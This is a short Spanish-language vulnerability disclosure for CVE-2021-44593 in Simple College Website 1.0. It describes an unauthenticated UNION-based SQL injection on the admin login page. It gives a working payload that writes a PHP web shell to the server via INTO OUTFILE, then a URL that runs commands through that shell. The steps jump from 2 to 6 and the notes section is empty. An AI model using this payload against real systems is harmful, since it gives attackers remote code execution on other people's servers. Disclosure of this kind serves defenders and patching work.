CVE-2021-44593

Divulgación pública de CVE-2021-44593. Una vulnerabilidad de inyección SQL/carga arbitraria de archivos/ejecución remota de código en Simple College Website.

DESCRIPCIÓN

Simple College Website 1.0 es vulnerable a una inyección SQL basada en UNION sin autenticación en el parámetro "username" de la página /admin/login.php, que luego puede aprovecharse para cargar archivos arbitrarios y obtener ejecución remota de código.

COMPONENTES AFECTADOS

La función login() en admin_class.php

PASOS PARA REPRODUCIR

1. Acceda a la página de inicio de sesión de administrador (normalmente /admin/login.php)
2. Envíe el formulario de inicio de sesión con el parámetro POST "username" que contenga la siguiente inyección SQL basada en UNION:

' union select null, null, ("<?php system($_GET['cmd']);?>"), null, null INTO OUTFILE '/var/www/html/testing.php'; -- -

6. Navegue a /testing.php?cmd=id

NOTAS